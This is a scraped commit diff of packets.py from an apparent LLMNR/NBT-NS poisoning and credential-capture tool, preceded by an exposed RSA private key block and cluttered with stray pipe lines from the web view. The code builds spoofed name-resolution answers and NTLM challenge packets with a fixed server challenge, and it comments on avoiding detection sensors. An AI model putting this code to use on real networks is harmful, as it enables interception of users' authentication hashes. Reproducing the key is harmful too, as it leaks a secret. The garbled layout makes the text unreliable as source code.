h/CsVWjQhDN/NkqS9/c1O6kTVRuuSX+DHoyWRJN9BjAuJtthW7aOn/1ktTQZOBzH
|
|
||||||
Swpcl2Z4D2NInQrgmV9ygUL2KUt3tYBAbFD1dH2Qc/xp76BOKKk4mvN0CQJI2dK+
|
|
||||||
+/zQKbYobF66gdlQ7kemj+QX/2Ba/1OB/ctNZQIDAQABAoIBAQCzi6i3XroF5ACx
|
|
||||||
IKSG/plSlSC3qtDLG4/yKXtn3Y25+ARgWNl7Zz0yoLdr6rTdFbP1XQdTgbpf0Y5a
|
|
||||||
vIKwN2syfsSv16+gTw8tcQ5LwUz8dNOEqr/P8FRpKypIR9YFoCWmQAmE4s5Lywa9
|
|
||||||
Z15avujsYniyDetLympz8yryTRTDyh+APgZH5uWzzUnJZx588YdhHAPNU8QgpqGY
|
|
||||||
HFpzoVyNcA16ptk/dW8+kqepBOn6Fx4NSqV+j81UnOTRhRCuEW2C4893pb9fqYYf
|
|
||||||
DrRWxkmgU+Ntq8UJso25QK97K7+pstJTGwRv4dRBtsYAfx+9JyaUmsiuC7xy2sDj
|
|
||||||
NuoQIw0BAoGBAPW6bMKOYPTmcNPxenjUHdRw7iYRQqL6EjehUFV0fqPayuEdKYre
|
|
||||||
hQYtr7KYOQOcNpRW8A6/Ki0Qr3OQOMlQQKzpblo2G9uXdVjfkQ4fq7E6RCGWOvGr
|
|
||||||
779EqwPnzXYuRHIb45oihdzlB5vhKrkYaLRcgqHeJPzghgGrxvkAgav1AoGBAN6t
|
|
||||||
AO1LI1xQsQ4enRZcchq35ueAvwIW3x48T3UEKBk4OpR1GwGFY/8WlMpONHPaBa8e
|
|
||||||
oLhHxd3GUZAx0ONRw9erLINJZg2BaGyoajR8xY4nE8lellKJG+enToBP1+ln2kwy
|
|
||||||
G3PjdhNM9q71UHac6bPlTGy5PZjUdEnltp9QhSWxAoGBAM70f/0sJQSdwJEAZAG3
|
|
||||||
xJfTtP9ishjJPOaVei8+uhoOf6gxA3fuCWM2vy9PfVVJD77Hqc8BuefSkbJm2SzT
|
|
||||||
5mS7BTH9OGEtoquDP4wBqHzPcepHuMUp5fXVQ6M6a5UJSqRAUOTUBqIQUuQ6M91I
|
|
||||||
bYbaEzt4+PXxs2tc3WuBvbSxAoGBAKIDV/BOwgyRvTDbv0mcu3yLH1qCxva7M10p
|
|
||||||
XlpySsaGrcCEL8D8j5PylxFWsz0zfP08GI3b0rAYchGq3SP3wrkxFvLyvWjIJfUg
|
|
||||||
2B0WRxq1feT+h/rHPWFfznL3JM3yvNbBgk3gSnGihr0nSYLziepUxDU61gFTWsTF
|
|
||||||
eQkTKb0RAoGAQmZ+FKGEek2QSvgXbOoO1O2ypQRwtB+LuAGUFv8dEvwAtKn6CZAK
|
|
||||||
jwzJEPnQ6t9fuNqe1iGJ2og4OQ4je93wxL8XMLI3oYWs+5FM8HaaqsYNVJWoRBFS
|
|
||||||
T5faW0yVyQt0MQ13xh2mE2IfZoHiKrXKPZmuLRh+/slGZFJtlAOBciM=
|
|
||||||
-----END RSA PRIVATE KEY-----
|
|
||||||
496
packets.py
Normal file → Executable file
496
packets.py
Normal file → Executable file
@@ -40,10 +40,6 @@ class Packet():
|
|||||||
def __str__(self):
|
def __str__(self):
|
||||||
return "".join(map(str, self.fields.values()))
|
return "".join(map(str, self.fields.values()))
|
||||||
|
|
||||||
def GenerateCallbackName():
|
|
||||||
return ''.join([random.choice('abcdefghijklmnopqrstuvwxyz0123456789') for i in range(11)])
|
|
||||||
|
|
||||||
|
|
||||||
# NBT Answer Packet
|
# NBT Answer Packet
|
||||||
class NBT_Ans(Packet):
|
class NBT_Ans(Packet):
|
||||||
fields = OrderedDict([
|
fields = OrderedDict([
|
||||||
@@ -101,7 +97,7 @@ class DNS_SRV_Ans(Packet):
|
|||||||
("Question", "\x00\x01"),
|
("Question", "\x00\x01"),
|
||||||
("AnswerRRS", "\x00\x01"),
|
("AnswerRRS", "\x00\x01"),
|
||||||
("AuthorityRRS", "\x00\x00"),
|
("AuthorityRRS", "\x00\x00"),
|
||||||
("AdditionalRRS", "\x00\x01"),
|
("AdditionalRRS", "\x00\x00"),
|
||||||
("QuestionName", ""),
|
("QuestionName", ""),
|
||||||
("QuestionNameNull", "\x00"),
|
("QuestionNameNull", "\x00"),
|
||||||
("Type", "\x00\x21"),#srv
|
("Type", "\x00\x21"),#srv
|
||||||
@@ -121,13 +117,6 @@ class DNS_SRV_Ans(Packet):
|
|||||||
("TargetLenSuff2", ""),
|
("TargetLenSuff2", ""),
|
||||||
("TargetSuffix2", ""),
|
("TargetSuffix2", ""),
|
||||||
("TargetNull", "\x00"),
|
("TargetNull", "\x00"),
|
||||||
("AnswerAPointer", "\xc0"),
|
|
||||||
("AnswerAPtrOffset", ""),
|
|
||||||
("Type2", "\x00\x01"),#A record.
|
|
||||||
("Class2", "\x00\x01"),
|
|
||||||
("TTL2", "\x00\x00\x00\x1e"), #30 secs, don't mess with their cache for too long..
|
|
||||||
("IPLen", "\x00\x04"),
|
|
||||||
("IP", "\x00\x00\x00\x00"),
|
|
||||||
])
|
])
|
||||||
|
|
||||||
def calculate(self,data):
|
def calculate(self,data):
|
||||||
@@ -139,7 +128,7 @@ class DNS_SRV_Ans(Packet):
|
|||||||
self.fields["QuestionName"] = DNSName
|
self.fields["QuestionName"] = DNSName
|
||||||
|
|
||||||
#Want to be detected that easily by xyz sensor?
|
#Want to be detected that easily by xyz sensor?
|
||||||
self.fields["TargetPrefix"] = "win-"+GenerateCallbackName()
|
self.fields["TargetPrefix"] = settings.Config.MachineName
|
||||||
|
|
||||||
#two last parts of the domain are the actual Domain name.. eg: contoso.com
|
#two last parts of the domain are the actual Domain name.. eg: contoso.com
|
||||||
self.fields["TargetSuffix"] = SplitFQDN[-2]
|
self.fields["TargetSuffix"] = SplitFQDN[-2]
|
||||||
@@ -154,21 +143,14 @@ class DNS_SRV_Ans(Packet):
|
|||||||
#Our answer len..
|
#Our answer len..
|
||||||
self.fields["RecordLen"] = StructPython2or3(">h",CalcLen)
|
self.fields["RecordLen"] = StructPython2or3(">h",CalcLen)
|
||||||
|
|
||||||
#Where is Answer A Pointer...
|
|
||||||
CalcRROffset= self.fields["QuestionName"]+self.fields["QuestionNameNull"]+self.fields["Type"]+self.fields["Class"]+CalcLen
|
|
||||||
self.fields["AnswerAPtrOffset"] = StructWithLenPython2or3("B",len(CalcRROffset)-4)
|
|
||||||
|
|
||||||
#for now we support ldap and kerberos...
|
#for now we support ldap and kerberos...
|
||||||
if "ldap" in DNSName:
|
if "ldap" in DNSName:
|
||||||
self.fields["Port"] = StructWithLenPython2or3(">h", 389)
|
self.fields["Port"] = StructWithLenPython2or3(">h", 389)
|
||||||
|
|
||||||
if "kerberos" in DNSName:
|
if "kerberos" in DNSName:
|
||||||
self.fields["Port"] = StructWithLenPython2or3(">h", 88)
|
self.fields["Port"] = StructWithLenPython2or3(">h", 88)
|
||||||
|
|
||||||
#Last but not least... we provide our IP, so computers can enjoy our services.
|
|
||||||
self.fields["IP"] = RespondWithIPAton()
|
|
||||||
self.fields["IPLen"] = StructPython2or3(">h",self.fields["IP"])
|
|
||||||
|
|
||||||
# LLMNR Answer Packet
|
# LLMNR Answer Packet
|
||||||
class LLMNR_Ans(Packet):
|
class LLMNR_Ans(Packet):
|
||||||
fields = OrderedDict([
|
fields = OrderedDict([
|
||||||
@@ -220,6 +202,9 @@ class MDNS_Ans(Packet):
|
|||||||
def calculate(self):
|
def calculate(self):
|
||||||
self.fields["IPLen"] = StructPython2or3(">h",self.fields["IP"])
|
self.fields["IPLen"] = StructPython2or3(">h",self.fields["IP"])
|
||||||
|
|
||||||
|
################### DHCP SRV ######################
|
||||||
|
|
||||||
|
|
||||||
##### HTTP Packets #####
|
##### HTTP Packets #####
|
||||||
class NTLM_Challenge(Packet):
|
class NTLM_Challenge(Packet):
|
||||||
fields = OrderedDict([
|
fields = OrderedDict([
|
||||||
@@ -236,22 +221,22 @@ class NTLM_Challenge(Packet):
|
|||||||
("TargetInfoMaxLen", "\x7e\x00"),
|
("TargetInfoMaxLen", "\x7e\x00"),
|
||||||
("TargetInfoOffset", "\x3e\x00\x00\x00"),
|
("TargetInfoOffset", "\x3e\x00\x00\x00"),
|
||||||
("NTLMOsVersion", "\x05\x02\xce\x0e\x00\x00\x00\x0f"),
|
("NTLMOsVersion", "\x05\x02\xce\x0e\x00\x00\x00\x0f"),
|
||||||
("TargetNameStr", "SMB"),
|
("TargetNameStr", settings.Config.Domain),
|
||||||
("Av1", "\x02\x00"),#nbt name
|
("Av1", "\x02\x00"),#nbt name
|
||||||
("Av1Len", "\x06\x00"),
|
("Av1Len", "\x06\x00"),
|
||||||
("Av1Str", "SMB"),
|
("Av1Str", settings.Config.Domain),
|
||||||
("Av2", "\x01\x00"),#Server name
|
("Av2", "\x01\x00"),#Server name
|
||||||
("Av2Len", "\x14\x00"),
|
("Av2Len", "\x14\x00"),
|
||||||
("Av2Str", "SMB-TOOLKIT"),
|
("Av2Str", settings.Config.MachineName),
|
||||||
("Av3", "\x04\x00"),#Full Domain name
|
("Av3", "\x04\x00"),#Full Domain name
|
||||||
("Av3Len", "\x12\x00"),
|
("Av3Len", "\x12\x00"),
|
||||||
("Av3Str", "smb.local"),
|
("Av3Str", settings.Config.DomainName),
|
||||||
("Av4", "\x03\x00"),#Full machine domain name
|
("Av4", "\x03\x00"),#Full machine domain name
|
||||||
("Av4Len", "\x28\x00"),
|
("Av4Len", "\x28\x00"),
|
||||||
("Av4Str", "server2003.smb.local"),
|
("Av4Str", settings.Config.MachineName+'.'+settings.Config.DomainName),
|
||||||
("Av5", "\x05\x00"),#Domain Forest Name
|
("Av5", "\x05\x00"),#Domain Forest Name
|
||||||
("Av5Len", "\x12\x00"),
|
("Av5Len", "\x12\x00"),
|
||||||
("Av5Str", "smb.local"),
|
("Av5Str", settings.Config.DomainName),
|
||||||
("Av6", "\x00\x00"),#AvPairs Terminator
|
("Av6", "\x00\x00"),#AvPairs Terminator
|
||||||
("Av6Len", "\x00\x00"),
|
("Av6Len", "\x00\x00"),
|
||||||
])
|
])
|
||||||
@@ -335,6 +320,21 @@ class IIS_NTLM_Challenge_Ans(Packet):
|
|||||||
def calculate(self,payload):
|
def calculate(self,payload):
|
||||||
self.fields["Payload"] = b64encode(payload)
|
self.fields["Payload"] = b64encode(payload)
|
||||||
|
|
||||||
|
class WinRM_NTLM_Challenge_Ans(Packet):
|
||||||
|
fields = OrderedDict([
|
||||||
|
("Code", "HTTP/1.1 401 \r\n"),
|
||||||
|
("WWWAuth", "WWW-Authenticate: Negotiate "),
|
||||||
|
("Payload", ""),
|
||||||
|
("Payload-CRLF", "\r\n"),
|
||||||
|
("ServerType", "Server: Microsoft-HTTPAPI/2.0\r\n"),
|
||||||
|
("Date", "Date: "+HTTPCurrentDate()+"\r\n"),
|
||||||
|
("Len", "Content-Length: 0\r\n"),
|
||||||
|
("CRLF", "\r\n"),
|
||||||
|
])
|
||||||
|
|
||||||
|
def calculate(self,payload):
|
||||||
|
self.fields["Payload"] = b64encode(payload)
|
||||||
|
|
||||||
class IIS_Basic_401_Ans(Packet):
|
class IIS_Basic_401_Ans(Packet):
|
||||||
fields = OrderedDict([
|
fields = OrderedDict([
|
||||||
("Code", "HTTP/1.1 401 Unauthorized\r\n"),
|
("Code", "HTTP/1.1 401 Unauthorized\r\n"),
|
||||||
@@ -544,22 +544,22 @@ class MSSQLNTLMChallengeAnswer(Packet):
|
|||||||
("TargetInfoMaxLen", "\x7e\x00"),
|
("TargetInfoMaxLen", "\x7e\x00"),
|
||||||
("TargetInfoOffset", "\x3e\x00\x00\x00"),
|
("TargetInfoOffset", "\x3e\x00\x00\x00"),
|
||||||
("NTLMOsVersion", "\x05\x02\xce\x0e\x00\x00\x00\x0f"),
|
("NTLMOsVersion", "\x05\x02\xce\x0e\x00\x00\x00\x0f"),
|
||||||
("TargetNameStr", "SMB"),
|
("TargetNameStr", settings.Config.Domain),
|
||||||
("Av1", "\x02\x00"),#nbt name
|
("Av1", "\x02\x00"),#nbt name
|
||||||
("Av1Len", "\x06\x00"),
|
("Av1Len", "\x06\x00"),
|
||||||
("Av1Str", "SMB"),
|
("Av1Str", settings.Config.Domain),
|
||||||
("Av2", "\x01\x00"),#Server name
|
("Av2", "\x01\x00"),#Server name
|
||||||
("Av2Len", "\x14\x00"),
|
("Av2Len", "\x14\x00"),
|
||||||
("Av2Str", "SMB-TOOLKIT"),
|
("Av2Str", settings.Config.MachineName),
|
||||||
("Av3", "\x04\x00"),#Full Domain name
|
("Av3", "\x04\x00"),#Full Domain name
|
||||||
("Av3Len", "\x12\x00"),
|
("Av3Len", "\x12\x00"),
|
||||||
("Av3Str", "smb.local"),
|
("Av3Str", settings.Config.DomainName),
|
||||||
("Av4", "\x03\x00"),#Full machine domain name
|
("Av4", "\x03\x00"),#Full machine domain name
|
||||||
("Av4Len", "\x28\x00"),
|
("Av4Len", "\x28\x00"),
|
||||||
("Av4Str", "server2003.smb.local"),
|
("Av4Str", settings.Config.MachineName+'.'+settings.Config.DomainName),
|
||||||
("Av5", "\x05\x00"),#Domain Forest Name
|
("Av5", "\x05\x00"),#Domain Forest Name
|
||||||
("Av5Len", "\x12\x00"),
|
("Av5Len", "\x12\x00"),
|
||||||
("Av5Str", "smb.local"),
|
("Av5Str", settings.Config.DomainName),
|
||||||
("Av6", "\x00\x00"),#AvPairs Terminator
|
("Av6", "\x00\x00"),#AvPairs Terminator
|
||||||
("Av6Len", "\x00\x00"),
|
("Av6Len", "\x00\x00"),
|
||||||
])
|
])
|
||||||
@@ -602,7 +602,7 @@ class SMTPGreeting(Packet):
|
|||||||
fields = OrderedDict([
|
fields = OrderedDict([
|
||||||
("Code", "220"),
|
("Code", "220"),
|
||||||
("Separator", "\x20"),
|
("Separator", "\x20"),
|
||||||
("Message", "smtp01.local ESMTP"),
|
("Message", settings.Config.DomainName+" ESMTP"),
|
||||||
("CRLF", "\x0d\x0a"),
|
("CRLF", "\x0d\x0a"),
|
||||||
])
|
])
|
||||||
|
|
||||||
@@ -610,7 +610,7 @@ class SMTPAUTH(Packet):
|
|||||||
fields = OrderedDict([
|
fields = OrderedDict([
|
||||||
("Code0", "250"),
|
("Code0", "250"),
|
||||||
("Separator0", "\x2d"),
|
("Separator0", "\x2d"),
|
||||||
("Message0", "smtp01.local"),
|
("Message0", settings.Config.DomainName),
|
||||||
("CRLF0", "\x0d\x0a"),
|
("CRLF0", "\x0d\x0a"),
|
||||||
("Code", "250"),
|
("Code", "250"),
|
||||||
("Separator", "\x20"),
|
("Separator", "\x20"),
|
||||||
@@ -794,7 +794,7 @@ class LDAPNTLMChallenge(Packet):
|
|||||||
("NTLMSSPNtWorkstationLen", "\x1e\x00"),
|
("NTLMSSPNtWorkstationLen", "\x1e\x00"),
|
||||||
("NTLMSSPNtWorkstationMaxLen", "\x1e\x00"),
|
("NTLMSSPNtWorkstationMaxLen", "\x1e\x00"),
|
||||||
("NTLMSSPNtWorkstationBuffOffset", "\x38\x00\x00\x00"),
|
("NTLMSSPNtWorkstationBuffOffset", "\x38\x00\x00\x00"),
|
||||||
("NTLMSSPNtNegotiateFlags", "\x15\x82\x89\xe2"),
|
("NTLMSSPNtNegotiateFlags", "\x15\x82\x81\xe2" if settings.Config.NOESS_On_Off else "\x15\x82\x89\xe2"),
|
||||||
("NTLMSSPNtServerChallenge", "\x81\x22\x33\x34\x55\x46\xe7\x88"),
|
("NTLMSSPNtServerChallenge", "\x81\x22\x33\x34\x55\x46\xe7\x88"),
|
||||||
("NTLMSSPNtReserved", "\x00\x00\x00\x00\x00\x00\x00\x00"),
|
("NTLMSSPNtReserved", "\x00\x00\x00\x00\x00\x00\x00\x00"),
|
||||||
("NTLMSSPNtTargetInfoLen", "\x94\x00"),
|
("NTLMSSPNtTargetInfoLen", "\x94\x00"),
|
||||||
@@ -805,22 +805,22 @@ class LDAPNTLMChallenge(Packet):
|
|||||||
("NegTokenInitSeqMechMessageVersionBuilt", "\xce\x0e"),
|
("NegTokenInitSeqMechMessageVersionBuilt", "\xce\x0e"),
|
||||||
("NegTokenInitSeqMechMessageVersionReserved", "\x00\x00\x00"),
|
("NegTokenInitSeqMechMessageVersionReserved", "\x00\x00\x00"),
|
||||||
("NegTokenInitSeqMechMessageVersionNTLMType", "\x0f"),
|
("NegTokenInitSeqMechMessageVersionNTLMType", "\x0f"),
|
||||||
("NTLMSSPNtWorkstationName", "SMB12"),
|
("NTLMSSPNtWorkstationName", settings.Config.Domain),
|
||||||
("NTLMSSPNTLMChallengeAVPairsId", "\x02\x00"),
|
("NTLMSSPNTLMChallengeAVPairsId", "\x02\x00"),
|
||||||
("NTLMSSPNTLMChallengeAVPairsLen", "\x0a\x00"),
|
("NTLMSSPNTLMChallengeAVPairsLen", "\x0a\x00"),
|
||||||
("NTLMSSPNTLMChallengeAVPairsUnicodeStr", "smb12"),
|
("NTLMSSPNTLMChallengeAVPairsUnicodeStr", settings.Config.Domain),
|
||||||
("NTLMSSPNTLMChallengeAVPairs1Id", "\x01\x00"),
|
("NTLMSSPNTLMChallengeAVPairs1Id", "\x01\x00"),
|
||||||
("NTLMSSPNTLMChallengeAVPairs1Len", "\x1e\x00"),
|
("NTLMSSPNTLMChallengeAVPairs1Len", "\x1e\x00"),
|
||||||
("NTLMSSPNTLMChallengeAVPairs1UnicodeStr", "SERVER2008"),
|
("NTLMSSPNTLMChallengeAVPairs1UnicodeStr", settings.Config.MachineName),
|
||||||
("NTLMSSPNTLMChallengeAVPairs2Id", "\x04\x00"),
|
("NTLMSSPNTLMChallengeAVPairs2Id", "\x04\x00"),
|
||||||
("NTLMSSPNTLMChallengeAVPairs2Len", "\x1e\x00"),
|
("NTLMSSPNTLMChallengeAVPairs2Len", "\x1e\x00"),
|
||||||
("NTLMSSPNTLMChallengeAVPairs2UnicodeStr", "smb12.local"),
|
("NTLMSSPNTLMChallengeAVPairs2UnicodeStr", settings.Config.MachineName+'.'+settings.Config.DomainName),
|
||||||
("NTLMSSPNTLMChallengeAVPairs3Id", "\x03\x00"),
|
("NTLMSSPNTLMChallengeAVPairs3Id", "\x03\x00"),
|
||||||
("NTLMSSPNTLMChallengeAVPairs3Len", "\x1e\x00"),
|
("NTLMSSPNTLMChallengeAVPairs3Len", "\x1e\x00"),
|
||||||
("NTLMSSPNTLMChallengeAVPairs3UnicodeStr", "SERVER2008.smb12.local"),
|
("NTLMSSPNTLMChallengeAVPairs3UnicodeStr", settings.Config.DomainName),
|
||||||
("NTLMSSPNTLMChallengeAVPairs5Id", "\x05\x00"),
|
("NTLMSSPNTLMChallengeAVPairs5Id", "\x05\x00"),
|
||||||
("NTLMSSPNTLMChallengeAVPairs5Len", "\x04\x00"),
|
("NTLMSSPNTLMChallengeAVPairs5Len", "\x04\x00"),
|
||||||
("NTLMSSPNTLMChallengeAVPairs5UnicodeStr", "smb12.local"),
|
("NTLMSSPNTLMChallengeAVPairs5UnicodeStr", settings.Config.DomainName),
|
||||||
("NTLMSSPNTLMChallengeAVPairs6Id", "\x00\x00"),
|
("NTLMSSPNTLMChallengeAVPairs6Id", "\x00\x00"),
|
||||||
("NTLMSSPNTLMChallengeAVPairs6Len", "\x00\x00"),
|
("NTLMSSPNTLMChallengeAVPairs6Len", "\x00\x00"),
|
||||||
])
|
])
|
||||||
@@ -828,7 +828,7 @@ class LDAPNTLMChallenge(Packet):
|
|||||||
def calculate(self):
|
def calculate(self):
|
||||||
|
|
||||||
###### Convert strings to Unicode first
|
###### Convert strings to Unicode first
|
||||||
self.fields["NTLMSSPNtWorkstationName"] = self.fields["NTLMSSPNtWorkstationName"].encode('utf-16le')
|
self.fields["NTLMSSPNtWorkstationName"] = self.fields["NTLMSSPNtWorkstationName"].encode('utf-16le').decode('latin-1')
|
||||||
self.fields["NTLMSSPNTLMChallengeAVPairsUnicodeStr"] = self.fields["NTLMSSPNTLMChallengeAVPairsUnicodeStr"].encode('utf-16le').decode('latin-1')
|
self.fields["NTLMSSPNTLMChallengeAVPairsUnicodeStr"] = self.fields["NTLMSSPNTLMChallengeAVPairsUnicodeStr"].encode('utf-16le').decode('latin-1')
|
||||||
self.fields["NTLMSSPNTLMChallengeAVPairs1UnicodeStr"] = self.fields["NTLMSSPNTLMChallengeAVPairs1UnicodeStr"].encode('utf-16le').decode('latin-1')
|
self.fields["NTLMSSPNTLMChallengeAVPairs1UnicodeStr"] = self.fields["NTLMSSPNTLMChallengeAVPairs1UnicodeStr"].encode('utf-16le').decode('latin-1')
|
||||||
self.fields["NTLMSSPNTLMChallengeAVPairs2UnicodeStr"] = self.fields["NTLMSSPNTLMChallengeAVPairs2UnicodeStr"].encode('utf-16le').decode('latin-1')
|
self.fields["NTLMSSPNTLMChallengeAVPairs2UnicodeStr"] = self.fields["NTLMSSPNTLMChallengeAVPairs2UnicodeStr"].encode('utf-16le').decode('latin-1')
|
||||||
@@ -923,7 +923,6 @@ class CLDAPNetlogon(Packet):
|
|||||||
])
|
])
|
||||||
|
|
||||||
def calculate(self):
|
def calculate(self):
|
||||||
|
|
||||||
###### LDAP Packet Len
|
###### LDAP Packet Len
|
||||||
CalculatePacketLen = str(self.fields["MessageIDASNID"])+str(self.fields["MessageIDASNLen"])+str(self.fields["MessageIDASNStr"])+str(self.fields["OpHeadASNID"])+str(self.fields["OpHeadASNIDLenOfLen"])+str(self.fields["OpHeadASNIDLen"])+str(self.fields["Status"])+str(self.fields["StatusASNLen"])+str(self.fields["StatusASNStr"])+str(self.fields["SequenceHeader"])+str(self.fields["SequenceHeaderLen"])+str(self.fields["SequenceHeaderLenOfLen"])
|
CalculatePacketLen = str(self.fields["MessageIDASNID"])+str(self.fields["MessageIDASNLen"])+str(self.fields["MessageIDASNStr"])+str(self.fields["OpHeadASNID"])+str(self.fields["OpHeadASNIDLenOfLen"])+str(self.fields["OpHeadASNIDLen"])+str(self.fields["Status"])+str(self.fields["StatusASNLen"])+str(self.fields["StatusASNStr"])+str(self.fields["SequenceHeader"])+str(self.fields["SequenceHeaderLen"])+str(self.fields["SequenceHeaderLenOfLen"])
|
||||||
OperationPacketLen = str(self.fields["Status"])+str(self.fields["StatusASNLen"])+str(self.fields["StatusASNStr"])+str(self.fields["SequenceHeader"])+str(self.fields["SequenceHeaderLen"])+str(self.fields["SequenceHeaderLenOfLen"])
|
OperationPacketLen = str(self.fields["Status"])+str(self.fields["StatusASNLen"])+str(self.fields["StatusASNStr"])+str(self.fields["SequenceHeader"])+str(self.fields["SequenceHeaderLen"])+str(self.fields["SequenceHeaderLenOfLen"])
|
||||||
@@ -1147,15 +1146,16 @@ class SMBNegoAnsLM(Packet):
|
|||||||
("Keylength", "\x08"),
|
("Keylength", "\x08"),
|
||||||
("Bcc", "\x10\x00"),
|
("Bcc", "\x10\x00"),
|
||||||
("Key", ""),
|
("Key", ""),
|
||||||
("Domain", "SMB"),
|
("Domain", settings.Config.Domain),
|
||||||
("DomainNull", "\x00\x00"),
|
("DomainNull", "\x00\x00"),
|
||||||
("Server", "SMB-TOOLKIT"),
|
("Server", settings.Config.MachineName),
|
||||||
("ServerNull", "\x00\x00"),
|
("ServerNull", "\x00\x00"),
|
||||||
])
|
])
|
||||||
|
|
||||||
|
|
||||||
def calculate(self):
|
def calculate(self):
|
||||||
self.fields["Domain"] = self.fields["Domain"].encode('utf-16le')
|
self.fields["Domain"] = self.fields["Domain"].encode('utf-16le').decode('latin-1')
|
||||||
self.fields["Server"] = self.fields["Server"].encode('utf-16le')
|
self.fields["Server"] = self.fields["Server"].encode('utf-16le').decode('latin-1')
|
||||||
CompleteBCCLen = str(self.fields["Key"])+str(self.fields["Domain"])+str(self.fields["DomainNull"])+str(self.fields["Server"])+str(self.fields["ServerNull"])
|
CompleteBCCLen = str(self.fields["Key"])+str(self.fields["Domain"])+str(self.fields["DomainNull"])+str(self.fields["Server"])+str(self.fields["ServerNull"])
|
||||||
self.fields["Bcc"] = StructWithLenPython2or3("<h",len(CompleteBCCLen))
|
self.fields["Bcc"] = StructWithLenPython2or3("<h",len(CompleteBCCLen))
|
||||||
self.fields["Keylength"] = StructWithLenPython2or3("<h",len(self.fields["Key"]))[0]
|
self.fields["Keylength"] = StructWithLenPython2or3("<h",len(self.fields["Key"]))[0]
|
||||||
@@ -1200,7 +1200,7 @@ class SMBNegoAns(Packet):
|
|||||||
("NegHintTag0ASNLen", "\x17"),
|
("NegHintTag0ASNLen", "\x17"),
|
||||||
("NegHintFinalASNId", "\x1b"),
|
("NegHintFinalASNId", "\x1b"),
|
||||||
("NegHintFinalASNLen", "\x15"),
|
("NegHintFinalASNLen", "\x15"),
|
||||||
("NegHintFinalASNStr", "server2008$@SMB.LOCAL"),
|
("NegHintFinalASNStr", "not_defined_in_RFC4178@please_ignore"),
|
||||||
])
|
])
|
||||||
|
|
||||||
def calculate(self):
|
def calculate(self):
|
||||||
@@ -1272,7 +1272,7 @@ class SMBNegoKerbAns(Packet):
|
|||||||
("NegHintTag0ASNLen", "\x17"),
|
("NegHintTag0ASNLen", "\x17"),
|
||||||
("NegHintFinalASNId", "\x1b"),
|
("NegHintFinalASNId", "\x1b"),
|
||||||
("NegHintFinalASNLen", "\x15"),
|
("NegHintFinalASNLen", "\x15"),
|
||||||
("NegHintFinalASNStr", "server2008$@SMB.LOCAL"),
|
("NegHintFinalASNStr", settings.Config.MachineNego),
|
||||||
])
|
])
|
||||||
|
|
||||||
def calculate(self):
|
def calculate(self):
|
||||||
@@ -1334,7 +1334,7 @@ class SMBSession1Data(Packet):
|
|||||||
("NTLMSSPNtWorkstationLen","\x1e\x00"),
|
("NTLMSSPNtWorkstationLen","\x1e\x00"),
|
||||||
("NTLMSSPNtWorkstationMaxLen","\x1e\x00"),
|
("NTLMSSPNtWorkstationMaxLen","\x1e\x00"),
|
||||||
("NTLMSSPNtWorkstationBuffOffset","\x38\x00\x00\x00"),
|
("NTLMSSPNtWorkstationBuffOffset","\x38\x00\x00\x00"),
|
||||||
("NTLMSSPNtNegotiateFlags","\x15\x82\x89\xe2"),
|
("NTLMSSPNtNegotiateFlags","\x15\x82\x81\xe2" if settings.Config.NOESS_On_Off else "\x15\x82\x89\xe2"),
|
||||||
("NTLMSSPNtServerChallenge","\x81\x22\x33\x34\x55\x46\xe7\x88"),
|
("NTLMSSPNtServerChallenge","\x81\x22\x33\x34\x55\x46\xe7\x88"),
|
||||||
("NTLMSSPNtReserved","\x00\x00\x00\x00\x00\x00\x00\x00"),
|
("NTLMSSPNtReserved","\x00\x00\x00\x00\x00\x00\x00\x00"),
|
||||||
("NTLMSSPNtTargetInfoLen","\x94\x00"),
|
("NTLMSSPNtTargetInfoLen","\x94\x00"),
|
||||||
@@ -1345,22 +1345,22 @@ class SMBSession1Data(Packet):
|
|||||||
("NegTokenInitSeqMechMessageVersionBuilt","\xce\x0e"),
|
("NegTokenInitSeqMechMessageVersionBuilt","\xce\x0e"),
|
||||||
("NegTokenInitSeqMechMessageVersionReserved","\x00\x00\x00"),
|
("NegTokenInitSeqMechMessageVersionReserved","\x00\x00\x00"),
|
||||||
("NegTokenInitSeqMechMessageVersionNTLMType","\x0f"),
|
("NegTokenInitSeqMechMessageVersionNTLMType","\x0f"),
|
||||||
("NTLMSSPNtWorkstationName","SMB12"),
|
("NTLMSSPNtWorkstationName",settings.Config.Domain),
|
||||||
("NTLMSSPNTLMChallengeAVPairsId","\x02\x00"),
|
("NTLMSSPNTLMChallengeAVPairsId","\x02\x00"),
|
||||||
("NTLMSSPNTLMChallengeAVPairsLen","\x0a\x00"),
|
("NTLMSSPNTLMChallengeAVPairsLen","\x0a\x00"),
|
||||||
("NTLMSSPNTLMChallengeAVPairsUnicodeStr","SMB12"),
|
("NTLMSSPNTLMChallengeAVPairsUnicodeStr",settings.Config.Domain),
|
||||||
("NTLMSSPNTLMChallengeAVPairs1Id","\x01\x00"),
|
("NTLMSSPNTLMChallengeAVPairs1Id","\x01\x00"),
|
||||||
("NTLMSSPNTLMChallengeAVPairs1Len","\x1e\x00"),
|
("NTLMSSPNTLMChallengeAVPairs1Len","\x1e\x00"),
|
||||||
("NTLMSSPNTLMChallengeAVPairs1UnicodeStr","SMB12"),
|
("NTLMSSPNTLMChallengeAVPairs1UnicodeStr",settings.Config.MachineName),
|
||||||
("NTLMSSPNTLMChallengeAVPairs2Id","\x04\x00"),
|
("NTLMSSPNTLMChallengeAVPairs2Id","\x04\x00"),
|
||||||
("NTLMSSPNTLMChallengeAVPairs2Len","\x1e\x00"),
|
("NTLMSSPNTLMChallengeAVPairs2Len","\x1e\x00"),
|
||||||
("NTLMSSPNTLMChallengeAVPairs2UnicodeStr","SMB12"),
|
("NTLMSSPNTLMChallengeAVPairs2UnicodeStr",settings.Config.MachineName+'.'+settings.Config.DomainName),
|
||||||
("NTLMSSPNTLMChallengeAVPairs3Id","\x03\x00"),
|
("NTLMSSPNTLMChallengeAVPairs3Id","\x03\x00"),
|
||||||
("NTLMSSPNTLMChallengeAVPairs3Len","\x1e\x00"),
|
("NTLMSSPNTLMChallengeAVPairs3Len","\x1e\x00"),
|
||||||
("NTLMSSPNTLMChallengeAVPairs3UnicodeStr","SMB12"),
|
("NTLMSSPNTLMChallengeAVPairs3UnicodeStr",settings.Config.DomainName),
|
||||||
("NTLMSSPNTLMChallengeAVPairs5Id","\x05\x00"),
|
("NTLMSSPNTLMChallengeAVPairs5Id","\x05\x00"),
|
||||||
("NTLMSSPNTLMChallengeAVPairs5Len","\x04\x00"),
|
("NTLMSSPNTLMChallengeAVPairs5Len","\x04\x00"),
|
||||||
("NTLMSSPNTLMChallengeAVPairs5UnicodeStr","SMB12"),
|
